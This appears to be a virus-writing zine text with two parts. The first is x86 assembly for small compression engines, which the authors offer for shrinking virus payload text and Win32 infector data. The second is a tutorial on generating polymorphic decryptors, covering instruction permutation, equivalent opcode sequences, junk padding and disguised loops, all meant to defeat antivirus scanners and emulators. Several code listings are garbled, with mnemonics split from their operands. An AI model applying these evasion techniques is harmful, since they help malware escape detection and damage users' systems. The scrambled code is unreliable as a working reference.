Structure of AX, BX, DX and BP ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ When we want to encode a value in one of this registers, we may use two different ways: either by picking a fix number of bits or by means of this little table, for low values:

Bits ÄÄÄÄ 0 10 110 [...]

Number which represent ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 1 2 3 [...]

AH and DH hold variable values (depending on if this value is less than 3), while AL and DL hold fix ones, which, being added to the previous ones, have to be as result the value we want to use in the compression routine. About BX and BP, just note that their high part MUST be zero (otherwise STCE won't work ok), while the low one is used to encode the relative offset where the repeated-byte sequence is found. Anyway, the best thing is to do some tests with several values until STCE satisfies your needs or viral instincts!!! ;) And now, here you have the code for STCE itself...

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 ;*********************************************************; ;*********************************************************; ;** **; ;** ======================================= **; ;** Super Tiny Compression Engine (STCE) **; ;** ======================================= **; ;** Made by Super/29A **; ;** **;

;*********************************************************; ;*********************************************************; .model tiny .code public compress public decompress ;=========================================================; ;=========================================================; start: save_regs: ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; [BP-14] [BP-12] [BP-10] [BP-0e] [BP-0c] [BP-0a] [BP-8] [BP-6] [BP-4] [BP-2] [BP+0] [BP+2] [BP+4] [BP+6] [BP+8] [BP+0a] [bp+0c] = = = = = = = = = = = = = = = = = not repeated-bytes counter max address min address max number of bytes of rerpetitions max number of bytes of not repetitions CX bit counter where to write bits where to write bits ES = output buffer segment BX = 0x0x BP = 0x0x DX = 0x0x AX = 0x0x DI = output buffer offset CX = length of data to compress SI = input buffer offset

push si push cx push di push ax push dx push bp cld test al,05bh push bx push sp inc bx inc bp pop bp push es push di inc di push di mov di,08h push di push cx j1:

; ; ; executable text: '[STCE]' ; ; ;

mov al,[bp+di-2] cbw cwd xchg cx,ax jcxz j2 inc dx rol dx,cl j2: mov cl,[bp+di-1]

add dx,cx push dx ;push this value on the stack dec di dec di jnz j1 push di jmp [bp+0eh] decompress: call save_regs mov bl,1 ;indicate the bit we are reading mov di,[bp+08h] decompress0: call read_bit jb decompress1 ;if bit=1, that means a repeated sequence of bytes mov ax,[bp+06h] ;else read the number of bytes stored call read push cx rep ; movsb ;write these bytes jmp decompress4 decompress1: mov cx,[bp+02h] jcxz decompress2 ;jump if we only use one fixed number of bits call read_bit ;else read one bit jb decompress3 ;if that bit=1, then we use a number of bits specified in "bx" parameter ;else we use the number of bits specified in "bp" parameter" decompress2: mov cx,[bp+00h] decompress3: xchg cx,ax call read ;read these bits push cx ;this value will be the rel.offs. of repeated sequence mov ax,[bp+04h] call read ;now, read the number of bytes that do repeat inc cx pop ax push cx push si mov si,di sub si,ax rep ; db 26h ; copy repeated sequence from es:si to es:di movsb ; pop si decompress4: pop ax sub [bp-0ah],ax ;have we finished? jnz decompress0 ;jump if not load_regs: mov sp,bp pop bx pop bp pop dx pop ax pop di pop cx pop si inc sp inc sp

ret read_bit: dec jnz mov mov inc read_bit1: shr ret read: cwd sub cx,cx read1: inc cx dec ah js read3 call read_bit jnb read1 read2: add cx,dx ret read3: sub al,1 js read2 call read_bit rcl dx,1 jmp read3 compress: call save_regs find_more: push ds pop es sub bx,bx mov [bp-14h],bx find_more0: inc si mov cx,si sub cx,[bp+0ch] cmp cx,[bp-12h] jb ok1 mov cx,[bp-12h] ok1: mov di,si sub di,cx find_more1: jcxz compress1 mov ax,[si-1] find_more2: repnz scasb jcxz compress1 ;jump if not found cmp [di],ah jnz find_more2 xchg cx,ax mov cx,[bp-0eh] inc cx repz ; cmpsb ; compare to see who many bytes are equal dec cx bl read_bit1 bh,[si] bl,8 si bh,1

xchg cx,ax sub ax,[bp-0eh] neg ax sub si,ax sub di,ax cmp ax,bx ;have we got more bytes than previous times? jb find_more1 ;jump if negative mov bx,[bp+0ah] cmp ax,bx ja too_far xchg bx,ax too_far: mov dx,si sub dx,di ;store the relative offset jmp short find_more1 ;try to find larger sequences of rep.bytes compress1: neg bx jb compress3 ;jump if number of bytes repeted>2 inc word ptr [bp-14h] ;increase the counter of non-repeated bytes dec word ptr [bp+0ah] jz compress2 ;jump if last byte mov ax,[bp-14h] cmp ax,[bp-0ch] jb find_more0 ;jump if we can put altogether more non-repeated bytes compress2: inc si compress3: call store_data ;just do it cmp [bp+0ah],ax jnz find_more ;jump if there remains any byte mov ax,[bp-06h] sub ax,[bp+08h] mov [bp+0ah],ax ;calculate size of compressed data align_bits: call write_bit ;align bits, so as to be able to decompress jns align_bits jmp load_regs write_bit: dec byte ptr [bp-08h] jns write_bit1 mov byte ptr [bp-08h],7 push word ptr [bp-06h] pushf inc word ptr [bp-06h] popf pop word ptr [bp-04h] write_bit1: les di,[bp-04h] rcr byte ptr es:[di],1 ret store_data: dec si mov cx,[bp-14h] jcxz store_data1 ;jump if there r no stored bytes call write_bit ;write bit=0, because cf=0 push cx xchg cx,ax mov cx,[bp+06h] call write ;write number of bytes stored pop cx sub si,cx

mov di,[bp-06h] rep ; movsb ; store those bytes mov [bp-06h],di store_data1: neg bx jnb write3 ;jump if no repeated bytes call write_bit ;write bit=1 lea si,[bx+si] sub [bp+0ah],bx cmp [bp+02h],cx ;cx=0 xchg dx,ax mov cx,[bp+00h] jz store_data3 cmp ax,[bp-10h] jnb store_data2 mov cx,[bp+02h] store_data2: call write_bit ;write bit to select from "bp"/"bx" number of bytes store_data3: call write ;write relative offset of repeated secuence of bytes dec bx xchg bx,ax mov cx,[bp+04h] ;and now, write the number of bytes repeated write: dec ax dec ch js write1 sub ax,1 inc ax jb write_bit call write_bit jmp write write1: mov ch,0 jcxz write3 ror ax,cl write2: shl ax,1 call write_bit loop write2 write3: ret ;=========================================================; ;=========================================================; end start - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

And now words from Vecna... It's a casuality. When I joined 29A, I was working in a compression routine for my Win32 virus, so here's this little extension for Super's article, in which I will show two other engines. They're generally worse than STCE, except in some files. Objects are less compressed, but they are smaller. The first engine, CRUNCH/UNCRUNCH, is 321 bytes long, while the other one, the PACK/UNPACK routine, is 67 bytes only!!! CRUNCH/UNCRUNCH works better with text files, because they use a reduced set of ASCII codes, and the PACK/UNPACK routine works nice with VxD code and other stuff with lots of zeros.

PACK/UNPACK ÄÄÄÄÄÄÄÄÄÄÄ This engine consists on a simple zero-repeat compression. It copies code from the source buffer to a destination buffer, checking for zeros. When it finds one, it starts counting the number of zeros which follow that initial zero, and then stores that value. So, all the zeros will be followed by the number of times we need to repeat them. Pretty simple, as you see.

CRUNCH/UNCRUNCH ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This routine is based on the premise that not all possible ASCII codes are used in a given text. Some letters, for instance in portuguese or spanish, like a, s, c, or e are more used than others, like k, y, w, t, etc. Other codes, such as the high ASCII ones, are almost never used! So this routine works in two steps. First it scans for the most used codes, creating two tables, each of them with the 15 most used characters. Then it starts compressing the file. If the character in the source buffer is present in the first table, the engine will put its offset in the table. Else, it will look for that character in the second table, and if it's there, will put a zero to mark a table change and put the offset of the character in that second table. Finally, if the character is not present in any table, then the engine will put a zero and the plain ASCII code. The 15 characters, which are the max number in our table, can be represented in a nibble, so we may gain space. So, it will work this way:

* Codes in 1st table -> 1 nibble * Codes in 2nd table -> 2 nibbles (one 0 and the offset) * Codes not found in any table -> 4 nibbles (two 0 and the ASCII code)

This compression engine is especially useful in order to compress, for instance, the text of a payload in a virus, the names of the APIs used in a Win32 PE infector... in general, any plain text you would like to compress. Note: these engines were written based on a idea of Reptile/29A. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 ; CRUNCH compression engine, by Vecna/29A ; Entry: ; CX = number of bytes to compress ; SI = points to the code to compress ; DI = buffer where to put the compressed code ; Exit: ; CX = number of bytes to save ; DX = buffer to save public CRUNCH CRUNCH proc cld call init push di pusha push cx mov di, offset dictionary mov cx, 15+256 xor ax, ax rep stosw pop cx

mov di, offset frequency_table count_loop: lodsb mov bx, ax shl bx, 1 cmp word ptr cs:[di+bx], -1 je overflow inc word ptr ds:[di+bx] overflow: loop count_loop mov di, offset dictionary mov cx, 15*2 next_char: push cx xor bx, bx mov si, offset frequency_table mov cx, 256 scan_table: lodsw cmp ax, bx jb lower mov bx, ax mov bp, si sub bp, 2 lower: loop scan_table mov word ptr [bp], 0 sub bp, offset frequency_table mov ax, bp shr ax, 1 stosb pop cx loop next_char popa push si mov si, offset dictionary call copy30 pop si push di cld next_byte: push cx xor ax, ax lodsb push di mov di, offset first_table mov cx, 15 repne scasb pop di jne try_table_2 calculate: mov ax, 15 sub ax, cx jmp found_in_table try_table_2: push di mov di, offset second_table mov cx, 15 repne scasb pop di jne no_table mov al, 0 call add_nibble

jmp calculate no_table: push ax xor ax, ax call add_nibble call add_nibble pop ax push ax and al, 11110000b shr al, 4 call add_nibble pop ax and al, 00001111b found_in_table: call add_nibble do_next: pop cx loop next_byte pop bx mov cx, di sub cx, bx add cx, 30 pop dx ret endp CRUNCH ; Init variables init proc mov byte ptr [up_down], 0 mov byte ptr [compressed], 0 ret init

endp

; Add nibble in chain ; Entry: ; AL = nibble to add add_nibble proc cmp byte ptr [up_down], 0 jne down_byte shl al, 4 mov byte ptr [compressed], al inc byte ptr [up_down] ret down_byte: or al, byte ptr [compressed] stosb dec byte ptr [up_down] ret endp add_nibble ; Read nibble ; Exit: ; AL = nibble read_nibble proc cmp byte ptr [up_down], 0 jne low_nibble lodsb mov byte ptr [compressed], al and al, 11110000b shr al, 4

inc byte ptr [up_down] ret low_nibble: mov al, byte ptr [compressed] and al, 00001111b dec byte ptr [up_down] dec cx ret endp read_nibble ; Copy 30 bytes copy30: push cx mov cx, 30 rep movsb pop cx ret - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 ; UNCRUNCH decompression engine, by Vecna/29A ; Entry: ; CX = number of bytes to expand ; SI = buffer to expand ; DI = buffer for expanded code ; Exit: ; CX = number of expanded bytes ; DX = buffer of expanded bytes public UNCRUNCH UNCRUNCH proc call init push di mov di, offset dictionary call copy30 pop di push di sub cx, 30 unpack_loop: xor ax, ax call read_nibble cmp al, 0 je maybe_second_table mov bx, offset first_table jmp do_calc maybe_second_table: call read_nibble cmp al, 0 je store_full mov bx, offset second_table do_calc: add bx, ax mov al, byte ptr [bx-1] jmp store_this store_full: call read_nibble push ax call read_nibble pop bx shl bl, 4 or al, bl store_this: stosb

or cx, cx jnz unpack_loop pop dx mov cx, di sub cx, dx ret endp UNCRUNCH - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 ; PACK compression engine, by Vecna/29A ; Entry: ; CX = number of bytes to compress ; SI = offset of code to compress ; DI = buffer to put compressed code in ; Exit: ; CX = number of bytes to save ; DX = buffer to save public PACK PACK proc mov dx, di xor bx, bx nextta: lodsb or al, al jnz nextbyte inc bx loop nextta nextbyte: or bx, bx jz nada push ax mov al, 0 stosb mov ax, bx stosw xor bx, bx pop ax jcxz quit nada: stosb loop nextta quit: mov cx, di sub cx, dx ret endp PACK - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 ; UNPACK decompression engine, by Vecna/29A ; Entry: ; CX = number of bytes to expand ; SI = buffer to expand ; DI = buffer for expanded code ; Exit: ; CX = size of expanded code ; DX = buffer of expanded code public UNPACK UNPACK proc mov dx, di nexttat:

lodsb or al, al jnz nextbit sub cx, 2 push cx lodsw mov cx, ax xor ax, ax rep stosb pop cx loop nexttat jcxz quitta nextbit: stosb loop nexttat quitta: mov cx, di sub cx, dx ret endp UNPACK - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 ; Variables for the engines up_down db ? compressed db ? dictionary label first_table label db 15 dup (?) second_table label db 15 dup (?) frequency_table label dw 256 dup (?) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

Super/29A & Vecna/29A

Analysis on the decryptor generation ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Lord Julus ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ Û D I S C L A I M E R Û Û Û Û The following document is a study. It's only purpose is to be used in Û Û the virus research only. The author of this article is not responsible Û Û for any misuse of the things written in this document. Most of the Û Û things published here are already public and they represent what the Û Û author gathered across the years. Û Û The author is not responsible for the use of any of these information Û Û in any kind of virus. Û Û Lord Julus. Û ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ

ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Foreword ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄBefore saying anything I would like to apologize from the beginning for my English mistakes, as I had to write this article really fast so I had no time to spell/grammar check. Second of all, I am still under the influence of the polymorphic engine I started to work on for some time now (Lord's Multiple Opcode Fantasies). My routine was under development, when I realised I really needed a document to read from, some place where I could keep all the info I collect. That's when I started on this article here. So, most of it is concentrated on the main idea I used in M.O.F. But, in order to make it more simple to understand and more easy to explain I made a few 'shorcuts', sort of speak. E.g., you'll get the main idea and you'll be able to make your own poly engine after reading this, but you'll have to use you're imagination. This may not be the final form of this document. I might get new ideas or realize I made some mistakes. If I do I'll write it again... (that's why I gave it a version number, 1.5). So, for any comments, ideas, suggestions or mistakes you noticed I can be reached via e-mail at this address: lordjulus@geocities.com Do not wait and write ! Be well, Lord Julus.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Introduction ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄBefore the heuristic analysers and the code emulators appeared on the market the usual encryption methods worked pretty good. And I do not speak only about viruses. I also reffer to the methods used for protecting software and data. Code emulators are able to crack your protections in a matter of minutes. That's when the ideea of polymorphism arose. A coder from Bulgaria passing by the nickname of Dark Avenger who wrote a lot of destructive viruses (including an antivirus against two of his viruses who unleashed a third virus) came with this ideea when his MtE (Mutation Engine) appeared. What polymorphism is really all about is creating self decrypting code, able to create each and every time a different decryptor containing both decrypting code and also junk instruction designed to make debugging and emultating harder. As this article is not designed to explain why is this needed or make

a pro statement for polymorphism I will get directly to facts. So, in my opinion a good poly engine should be able to: * Create different decryptors by: - generating different instructions which do the same thing - swaping groups of instruction between them - creating calls to dummy routines * * * * * * Generate junk instruction between real code Being portable (can be included in any program) Everything should be based on random numbers Being able to create different size decryptors It must be fast It must be as small as possible

Something anyone can notice is that the biggest and complicated the decryptor is, the biggest and complicated and *slower* is the polymorphic engine. All you'll have to do is find a good balance, e.g. finding the best level of polymorphism a fast and small routine can create. In order to make this more easy to understand, I will use some notations that are showed below: a) General notations: reg preg sreg imm mem general register (AX, BX, pointer register (SI, DI, segment register (CS, DS, immediate value (8 bit or memory location CX, DX) BP) ES, SS) 16 bit)

(note that BX can also be used as pointer register but I will avoid this case in this article) b) Specific notations: lreg - Register to hold code length creg - Register to hold the code kreg - Register to hold the key sreg - Segment override for the source dreg - Segment override for destination preg - The pointer register jreg - Junk register jprg - Junk pointer register key - Encryption key keyi - Key increment rndm - random number length - Code length / 2 (because usualy the length is given in bytes and I like to code on words) In order to make the polymorphic engine (PME) create the decryptor faster I will assume the following, even though this is a little against the rules I gave for a good engine, but I will explained why: * AX will be the junk register * BP will be used as a delta handler * The engine will create equal size decryptors (this in order

to preserve the ability of a virus to hide the length of the host using stealth procedures) And now the reason: many OpCodes for instructions are optimized for the register AX. This means that an instruction using the AX register will be shorter than one involving the BX register. Now, you probably think this is stupid... No ! That's because when generating instructions you have a set of instructions that do the same thing. Obviously the sum of bytes for each set will never be equal. If you want to create a PME to generate equal size decryptors, you'll have to pad with NOP's so all the sets will have same size. So, it's no use to have an optimized AX instruction if you have to pad it anyway because another instruction has more bytes. Instead, being the junk register, the junk code will be optimized on AX. This means you can have more junk instructions in the same space. I hope this clears it. (as you will see further I will not take use of this either to make the poly smaller...)

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ General Decryptor ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄI will begin now with the general type decryptor and I will explain the way it works. This code is usualy put at the end of code, but some are put at the begining (I will not explain this here. MOF uses decryptors in different places, but you have to take care of the Delta Handle). The Decryptor is called from the beginning, decrypts the code and gives it the control (i.e. jumps to it). Notice each instruction will have a number for further use. Decrypt [1] [2] [3] [4] [5] [6] [7] main_loop: [8] [9] [10] [11] [12] [13] [14] [15] [16] Decrypt mov creg, sreg:[preg] call unscramble mov dreg:[preg], creg add kreg, keyi dec lreg inc preg inc preg jnz main_loop ret endp ; ; ; ; ; ; ; ; ; take an encrypted word decrypt it (*) write decrypted word increment the key decrement length increment pointer by 2 and loop until length=0 return control proc near mov lreg, mov preg, push cs pop jreg mov sreg, mov dreg, mov kreg,

length startcode

jreg jreg key

; ; ; ; ; ; ;

get code length load pointer register make both source and destination segment registers point to the Code Segment get the key

(*) I will get back to the unscrambling procedure later. As you can see, this is a general decryptor which takes a word from source:pointer, decrypts it and then puts it back to destination:pointer (which in this case are the same). Also you may notice I used the incremented style encryption key. And the increment is not 1 as most decryptors do, but a random number ! (I'll discuss random stuff later too).

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Permuting Instructions ³

ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄOne of the very important things in a PME is the ability to swap instructions or groups of instructions between them. Only this feature is good enough to flame scan-string scaners. But we must be very careful about what can be swaped and what can't, and so to establish some rules. In our case this is how it goes: Permutable instructions: Permutable instructions are in the [1] following: a) instruction [1] can be placed b) instruction [2] can be placed c) instruction [3] can be placed above instruction [4] d) instruction [4] can be placed under instruction [3] e) instruction [5] can be placed under instruction [4] f) instruction [6] can be placed under instruction [4] g) instruction [7] can be placed - [7] range with the anywhere anywhere anywhere but always anywhere but always anywhere but always anywhere but always anywhere

Also permutable are instructions [10] - [14], which can be placed in any order. How do we permute the instructions. As you will see later, you will have a routine for generating each of the above instructions. So, all you have to do is make a matrix of bytes with the length 16, mark the 8, 9, 15 and 16 positions with 8, 9, 15, 16 (as these can not be permuted). Then fill the first part of the matrix (1-7) with numbers from 1 to 7 in a random order (being careful about the rules) and then fill the 10-14 part with numbers between 10-14 in a random order. Now, all you have to do is call your routines in that order. Example: 3,1,2,4,7,6,5,8,9,14,12,10,13,11,15,16 (this code does exactly the same thing as the one above).

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Coding Instructions ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄHere comes the best part of a PME: coding instructions in different ways. What does this mean ? Let's take an example: ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄ Instruction ³ OpCodes ³ Total bytes ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ mov bx, 1000h ³ B8 00 10 ³ 3 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ xor bx, bx ³ 33 DB ³ or bx, 1000h ³ 81 CB 00 10 ³ 6 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ push 1000h ³ 68 00 10 ³ pop bx ³ 5B ³ 4 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ sub bx, bx ³ 2B DB ³ xor bx, 1000h ³ 81 F3 00 10 ³ 6 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ mov bx, 1000h xor 2222h ³ BB 22 32 ³ xor bx, 2222h ³ 81 F3 22 22 ³ 6

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄ Each and everyone of the above combinations will do the same thing: put the value 1000h into the BX register. Of course, the number of opcodes involved in each case is different, as you can see. What we'll need to do then is: * pick up a combination * generate it * see the difference between the bytes number of the choosen combination and the one with the most bytes (6 in our case) * pad the instruction with junk to reach the max You will notice that as the instruction is more simple, it is more padded with junk and vice-versa. Ok, so let's get back to our example and let's pick some variants for each one of our instructions. [1]/[2] mov lreg, length / mov preg, startcode ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ (As I will explain later, many AV products tend to find out for themselves different values, like the length of the code or the start of code and so on. Therefore, I will use a method to hide this. I will discuss it more in the Armouring section) a) push imm pop reg xor reg, rndm junk byte junk byte junk byte ÄÄÄÄÄÄÄÄÄ 11 bytes b) mov ax, imm mov reg, ax sub reg, rndm junk byte junk byte ÄÄÄÄÄÄÄÄÄÄÄ 11 bytes c) xor reg, reg xor reg, imm add reg, rndm junk byte ÄÄÄÄÄÄÄÄÄÄÄÄ 11 bytes d) mov reg, 0 add reg, imm xor reg, rndm ÄÄÄÄÄÄÄÄÄÄÄÄ 11 bytes e) mov reg, imm xor reg, rndm junk byte junk byte junk byte junk byte ÄÄÄÄÄÄÄÄÄÄÄÄ (imm = real data xor rndm)

(imm = real data + rndm)

(imm = real data - rndm)

(imm = real data xor rndm)

(imm = real data xor rndm)

11 bytes [3] push cs Ä 1 byte ~~~~~~~~~~~~~~~~~~~~~~~~~~~ (we'll leave this like it is, it's much too usual) [4] pop jreg ~~~~~~~~~~~~~~~~~~ a) mov jprg, sp mov ax, ss:[jprg] add sp, 2 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 8 bytes b) pop jprg xchg ax, jprg junk bytes \ ... > six times junk bytes / ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 8 bytes c) pop jprg mov ax, jprg junk bytes \ ... > five bytes junk bytes / ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 8 bytes [5]/[6] mov sreg, jreg / mov dreg, jreg ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ a) push ax pop sreg junk byte junk byte ÄÄÄÄÄÄÄÄÄÄÄÄÄ 4 bytes b) mov sreg, ax junk byte junk byte ÄÄÄÄÄÄÄÄÄÄÄÄÄ 4 bytes c) pop jreg xchg jreg, ax mov es, ax ÄÄÄÄÄÄÄÄÄÄÄÄÄ 4 bytes

[7] mov kreg, key ~~~~~~~~~~~~~~~~~~~~~~~ a) mov reg, imm junk byte junk byte junk byte ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 6 bytes b) push imm pop reg

junk byte junk byte ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 6 bytes c) xor reg, reg or reg, imm ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 6 bytes [8] mov creg, sreg:[preg] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ a) mov creg, sreg:[reg] junk byte junk byte junk byte ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 6 bytes b) push sreg:[reg] pop reg junk byte junk byte ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 6 bytes c) xor reg, reg xor reg, sreg:[reg] ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 6 bytes [9] call unscrambble Ä 3 bytes ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [10] mov dreg:[preg], creg ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ a) mov sreg:[reg], creg junk byte junk byte junk byte ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 6 bytes b) push reg pop sreg:[reg] junk byte junk byte ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 6 bytes c) xchg reg, sreg:[reg] junk byte junk byte junk byte ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 6 bytes [11] add kreg, keyi ~~~~~~~~~~~~~~~~~~~~~~~~ a) add reg, imm junk byte junk byte junk byte

junk byte junk byte ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 9 bytes b) mov ax, imm add reg, ax junk byte junk byte junk byte junk byte ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 9 bytes c) mov ax, reg add ax, imm xchg reg, ax junk byte junk byte junk byte ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 9 bytes d) xchg ax, reg xor reg, reg or reg, ax add reg, imm ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 9 bytes [12] dec lreg ~~~~~~~~~~~~~~~~~ a) dec lreg junk byte \ ... > 8 times junk byte / ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 9 bytes b) mov ax, rndm sub lreg, ax add lreg, rndmÄ1 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 9 bytes c) sub lreg, 1 junk byte \ ... > six times junk byte / ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 9 bytes d) xchg ax, lreg dec ax mov lreg, ax junk byte \ ... > five times junk byte / ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 9 bytes [13]/[14] inc preg ~~~~~~~~~~~~~~~~~~~

a) mov ax, 1 add preg, ax junk byte junk byte junk byte ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 8 bytes b) xchg ax, preg inc ax xchg preg, ax junk byte \ ... > 5 times junk byte / ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 8 bytes c) sub preg, rndm add preg, rndm+1 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 8 bytes d) add preg, rndm sub preg, rndmÄ1 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 8 bytes [15] jnz main_loop ~~~~~~~~~~~~~~~~~~~~~ (very important to code this good so the scaners don't see it's a decrypt loop. We'll speak more in the Armouring section) a) push cx mov cx, lreg jcxz _label pop cx jmp main_loop _label: pop cx junk byte ÄÄÄÄÄÄÄÄÄÄÄÄ 10 bytes b) mov ax, ffffh add ax, lreg jns main_loop junk byte junk byte junk byte ÄÄÄÄÄÄÄÄÄÄÄÄÄ 10 bytes c) xor ax, ax sub ax, lreg jns main_loop junk byte \ ... > six times junk byte / ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 10 bytes d) xchg ax, lreg

sub ax, 15h cmp ax, 0FFEBh xchg ax, lreg je main_loop ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 10 bytes And now, some discussion on these matters. First of all, you notice I wrote those junk bytes *after* the real code. You may choose to leave it this way, which will allow you to use junk instruction involving the junk register too. But I'd suggest to insert the junk bytes bewteen the real code, in this way having a better stealth of the real code. But in this case, of course, you won't be able to use junk instruction involving the junk register, unless they do nothing (like ADD AX, 0), because the junk register is used in the real code. I'd suggest the use of one byte or two bytes instructions BUT not in the last set (15) bacause here we need our flags to stay put! Another thing about the last pieces of code. You see there many conditional jumps. Well, they will not work ! Why ? Because the jump to the main_loop is surely bigger then -128 bytes. In this case all you have to do is change the code kinda like this: Instead of Je Main_Loop Use Jne not_main_loop jmp main_loop not_main_loop:

This gives us 3 more bytes, making the loop jump go up to 13 bytes. As you can see, I consider that the poly engine should drop directly values into the decryptor, so you don't have to mess up with things like: mov bx, [bp + 0542] Instead, the engine will compute how much BP+0542 is and will put the value there. This helps us in many directions. First of all, the AV's are hunting for stuff like [BP+...], because it's the mose used way of holding the Delta handle. But if we don't use it in our main decryptor, we can safely use it in our junk instructions !! This bring us again to messing up the AV. Check the Armouring chapter for more. And last: I let the PUSH CS and RET instructions like they are, but these can be coded in different ways too. Use your imagination ! In this area you can make whatever you want and desire. Any other combinations can be added. After this is done, we can surely compute the length of our main decryptor. So let's do it: Main decryptor length = 11+11+1+8+4+4+6+6+3+6+9+9+8+8+10 = 104 bytes So, our decryptor with some junk in it is 104 bytes. To this we should add the unscramble procedure with which we shall deal later. Now, only by permuting the instructions between them and adding the extra junk code into it, we have an almost 